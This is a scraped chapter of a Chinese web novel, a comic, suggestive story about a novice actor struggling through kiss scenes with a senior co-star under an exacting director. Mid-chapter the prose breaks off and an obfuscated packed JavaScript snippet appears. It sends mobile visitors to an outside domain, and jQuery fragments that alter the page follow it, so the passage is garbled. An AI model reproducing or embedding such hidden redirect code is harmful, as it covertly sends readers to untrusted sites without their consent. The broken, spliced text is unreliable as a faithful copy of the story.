6. 第6章

作品:《官宣BE后他们领证了

    “行不行?”好一会儿,袁导的声音传过来,信洋立马起身弯腰致歉:“袁叔,对不起。我刚……”


    “你之前为什么不跟颜纯对戏,对他有什么意见?”


    “没有没有,我……我的问题。”


    ”


    “现在很明显不只是你的问题,各个环节都因为你出现了不少新问题。”


    袁严早年拍戏以严格闻名,十多年前让他名声大噪的成名作,他拍了三年,期间主要演出人员均照合同三年未有其他演出。他作品个人风格极其鲜明,只因每部戏的每一个角色每一个镜头,都是他说了算。


    但这一次的《港色1993》,严格算起来是他的第二部大制作的商业片,所以他做出了让步——主动放弃了一部分话语权,为融入商业片市场做该做的取舍,让资本入场,用新人演员,前期训练有严格规定,但演员请假不会不批,信洋其他方面表现得都很出色,落两节文戏课可以追补。


    电影工业在进步,袁导也在进步。他发现对大多数真心演戏的人而言,因材施教好过独断专横。所以他将自己在剧组绝对的主导地位尽量隐下,只负责提供最好的硬件设施,黄金团队,高于戏剧之外的统筹视野,把表演都交给多年合作的,极其信任的演员们去发挥。


    他就像一个负责的,强大的大家长,提供最好的物质条件,去培养演员,去养他的每一部“孩子”。这是电影市场萎靡不振,但袁导一直逆流直上的最主要原因。


    戏好,大过一切。


    而千百种戏里,袁导痴迷于拍角色之间的感情流动,尽管最后成片出来,可能被他剪到只剩一个三秒的对视。


    比如《请打给麦先生》里的最后一个镜头,颜纯回神遥望幻彩霓虹间那空荡荡的宽幅大屏。他绝望时刻那每日默默陪伴的全息投影,那个于他而言如最后一口呼吸的女孩已不在,他的绝望也随之流逝。


    烟雨霏霏,麻木的人类提着公文包,再次混入人流。生与死没什么,难捱的是每时每刻,每分每秒。


    那是袁导最爱表达的,爱情的第三种动人之处。不是男主眼里的女主动人之处,也不是女主眼里的男主动人之处,而是在他们双方都不知道 ,或者未在意 ,甚至错过的某些瞬间,一些情愫的流动。


    这流动 ,高于爱情本体 ,是它的第三种动人。


    而这种动人,最为迷人。


    因为喜欢,所以珍视,所以袁导导戏时最不喜欢一板一眼将感情戏全都提前排练出来。


    除了必备的基础戏,他更追求实拍时演员之间的碰撞。感情戏本来就是如此,都是一边磨合一边进步,期间演员之间情感的流动影响到角色,令其在镜头前爆发出他本人都不知道的能量,给出惊艳发挥,是他更希望看到的。


    信洋垂头站了片刻,声音囔囔的:“袁叔,我是不太差劲了?”


    “是。”


    “你妈知道你现在这样肯定会伤心。”


    信洋的头更低了。


    “差不多就进来 ,今天怎么也得拍完这一场。”


    信洋跟着袁严回到了片场。看到李麦他十分惊喜。李麦早期和他母亲翁美霞合作过两次,他姐古信靓是李麦的狂粉。


    “还不错。”李麦主动拍他肩膀 ,“不要听袁导的话,他那张嘴吐出来的话不可信。你没什么经验,才拍没几天,会越来越好的。”


    这些话信洋打进组就在渴望了。


    “谢谢李老师,谢谢。”信洋冲李麦连声道谢,眼神却看向了远处的颜纯。好想被他也夸夸——


    !


    信洋被自己的想法惊到了,他竟然想得到颜纯的认可。


    是的,他不能再自欺欺人说一句“无所谓”。他无法忽略颜纯的看法,承认就承认,一点都不丢脸!他就是想要他夸!


    他要证明给颜纯看,他行!


    这么想着,信洋燃起汹汹斗志,迅速逼自己进入状态,再次开拍。


    这次除了由颜纯主导,还加了场外辅助。


    “你就教嘛,一个镜头一个镜头的给他讲。这些年拍惯子安这种成熟演员了,给你惯的呀,戏都懒得讲戏算什么导演。”


    “好嘛好嘛。”袁导虚心受教,笑眯眯看着李麦:“听你的,都听你的。”


    他终于张开了他金贵的嘴,开始现场导戏。于是接下来不大的场地里,充满了袁导不耐烦的呐喊。


    “手按上去,对,把人往你怀里按。”


    “按!按!是按!不是硬拉!卡!”


    袁导暴躁上前,将手掌虚虚量在颜纯腰部的位置,做了一个带有抓握力的动作。


    “这个动作,得达到观众看到你按上去,就能想象到你把手伸进去他裤腰,揉他屁股蛋的效果,懂了吗?”


    信洋不懂。


    信洋默默把袁导手从颜纯腰边挥开,真诚发问:“那为什么不直接拍伸进去揉的呢?”


    袁导:“……好问题。”


    “观众如果想直接看伸进去的戏份,就去看别人拍的了,为什么还要看我的戏?得精准定位受众,懂不?”


    “那就从按进去到伸进去到揉都拍出来呗,把看伸进去的受众也抢过来,这样咱们就有两拨受众了。”


    信洋说完暗暗给自己数了个大拇指,以前怎么没发现自己竟然这么聪明。


    袁导:“……”


    袁导直接气笑了。


    颜纯实在憋不住了,打断他们:“戏里两人的感情,还没到伸进去的地步,戏外咱俩也还没熟到你揉我屁股的份上,这样说理解吗?”


    按这样说总有揉上的一天对吧。信洋瞬间不疑惑了,开开心心答:“颜老师这样说我就懂了。”


    袁导:“……”


    呵。


    接下来,依旧袁导暴躁导戏。


    “好好,维持。现在换你动嘴。”


    “张大,裹住他的,用力,吸。”


    “伸舌头,伸,再给点!卡卡卡!”


    “那是舌头又不是钢筋,你那么硬戳进去算怎么回事?舌吻不会吗?”


    信洋弱弱:“会……吧……”


    说起来怪不好意思的,自打他十八岁的第一次单恋被他爸强势搅黄后,他这几年光顾着上学忙事业了。别说舌吻,就是打啵,他也没经验。但他不想让人看出来,尤其颜纯。


    袁导灌了几大口茶,埋怨地瞪了眼家属,李麦只露着温柔的笑容,拍他肩膀。


    “各部门准备。”


    “321,action!”


    袁导:“好,继续,上手。”


    不止狼崽上手,Daddy也环住了他的脖子。


    信洋发现了,不止袁导会随时改变拍摄要求,颜纯也会改变演法。前者他目前难以适应,但后者,他已经有些熟了。


    颜纯算是确定了,这小子长了张对象多到满天飞的脸,却连接吻都不会。这青涩又莽勇的状态,和信狼还真像,要不说导演眼光毒呢,这样的要是能调教出来,成就感得多爆棚。


    他探出点舌尖,狼崽追上来立马又收起。看人噘嘴他又笑嘻嘻给嘴,浅浅碰一下,他又拉开距离,这傻大个逗起来竟然意外地好玩。


    气死了气死了,狼崽要气死了。Daddy哄人都高高在上的,不给他亲爽,勾得他两眼发愣直抓狂。


    终于,他逮到了机会,收紧手臂,把人按牢了,摸软了,气哼哼带有惩罚意味地强势回吻。


    好软……


    好香……


    好乖……


    再吸吸,嗯……


    咬一口,让你不让我爽,哼!


    哎呀是不是吸得有点狠了……


    该停了吧……


    不是我不停,是导演不喊停……


    我最听导演话了……


    氛围逐渐火热,表演渐入佳境,监视器后,袁导笑得一脸开心:“纯你干脆直接跨坐上去。”


    这一坐可好,信洋又同手同脚跑出去缓了半天。


    剧组工作人员看他反应都笑了。亲密戏指导莱文姐跟袁导说:“这到时候怎么上宝贝袋?”


    “硬上呗,还能怎么上。”袁导也笑。距离他上一次亲自盯着导新人的戏已经过去至少七八年了,他也是没想到现在的菜鸟能菜的如此直白。


    李麦在看监视器,袁导抬手揽住爱人的腰,把他圈进自己范围,搁家乡话在那儿嘟囔:“怂娃嘴没亲过吗?你看这啃啃啃滴,啃猪蹄子着尼吗?动作戏也挺灵活一娃,亲个嘴亲了一下午亲不明白,我耽一脚发着勾勾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124101|164308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里让嚎起啥。”


    李麦听得直笑,他有很多年没看到过暴躁袁导了,看他横眉竖目,就想起了自己当年和他在片场干过的那些架,也是倍感亲切。


    他手搭袁严肩膀上:“挺好的,多熟悉熟悉就软和了。他显然还没进状态,在外游离。”


    “是,我看他也不是真的喜欢这戏。”


    正说着话,执行导演跑过来给袁严说,信洋的经纪人今晚想请大家吃个饭,问耽不耽搁袁导进度。


    “一顿饭能耽搁多少进度,假式假样。远的地方不去,让他直接来咱食堂。”


    “好嘞。”


    “去,叫进来赶紧开始。”袁导说,“今晚尽量都别让大家加班。”


    信洋很快进来了,他用冰水洗了把脸,头发梢上沾着水,鼻尖有点红,表情像是下了极大的决心,不一条过就绝食那种。


    当然,这决心下得没什么卵用,该NG还NG。


    “这样,把你头发整个打湿,你直接脱了上衣从浴室出来。”效果不好,袁导直接现场改戏。“出来点烟,移动,擦发,找衣服,全程不看对方,也唔听他说话,OK吗?”


    又是剧本里没出现的情节,袁导想一出是一出的导法,弄的做事习惯按计划一步一步来的信洋很抓狂。


    根据演员状态调度现场,是导演的基本功之一。这样相当于把表演的空间放大,是很容易碰撞出新火花的冒险做法。成熟的演员基本都适应这种拍法。但是信洋目前的菜鸡水平,还完全体会不到这种现场的乐趣。


    他半知半解点头,那边颜纯已经改好了台词。对体验派的颜纯而言,只要吃透了人物角色,根据其他因素调整演法,那简直是信手拈来。


    信洋怀着忐忑的心情踏进了浴室,但开拍后进展比他想象中顺利许多。


    前半部分很神奇地很流畅地演完,最后卡在了吻戏上。


    袁导这时候也不强求一镜到底了。他也对新人演员做出了妥协,NG后直接从吻戏开始拍。


    拍到最后,亲到颜纯嘴唇都麻木了,终于过了。


    喊卡后信洋还面红耳赤愣在床上,默默咂着嘴。颜纯已经过去看监视器了。


    “这里镜头可能从下往上,效果更好。”颜纯说。


    袁导:“那再来?”


    “今天先这样吧,嘴疼。”颜纯舔舔下唇,这一部亲的比他前些年拍的吻戏综合起来还要多。


    “他小子如果眼神戏好点,还要什么吻戏。”袁导看着监视器里颜纯拉丝的眼神,有一瞬间都想换了完全接不住戏的菜鸟。


    颜纯:“拍完都不一定能给你一场满足的眼神戏。”


    各位,这样当面吐槽真的好吗?信洋挪下床,凑过去,看他们聊戏。


    “这儿我捏太狠了,谁家好人求和是这态度。”颜纯笑着点评自己。


    信洋不明白,他怎么能如此轻松快速地入戏又出戏,出戏后还能调成旁观者视角去调侃。无语!大无语!他凭什么能这么快出戏!


    颜纯:“这里其实还行。”


    监视器里是他骑到狼崽大腿上的画面。不止是要掩盖腿间的异状,还是想要更贴近,总之能看出来按在他细腰上那对大手很用力,但是握腰的姿势太规矩了,少了张力。


    袁导:“能用。”


    “行,今天就到这儿,收工。”


    “你的能用可没啥可信度。”李麦打趣道。


    “他也剪你戏啊麦哥,我看麦先生最后成片时以为自己拍了另一部戏。”颜纯哈哈哈笑道。


    “剪,怎么不剪。我俩第一部戏首映会后差点打起来。”


    袁导:“啧,哪有。”


    “有没有你自己心里清楚。”


    ……


    他们三个唠着嗑走出好远了,信洋还楞在原地。


    我手有那么大吗?


    信洋低头看着自己的手。刚才监视器的画面里,颜纯的衣服下摆被他带了上去,腰漏了一小片。


    那一小片……那一小片……


    温热,细腻,像玉。


    不,其实更像燎原的火星子。


    信洋呆呆望着颜纯远去的背影,喉结滑动。又粗又长的手指又无意识拢成掐腰的姿势,他感到手心里有什么在燃烧。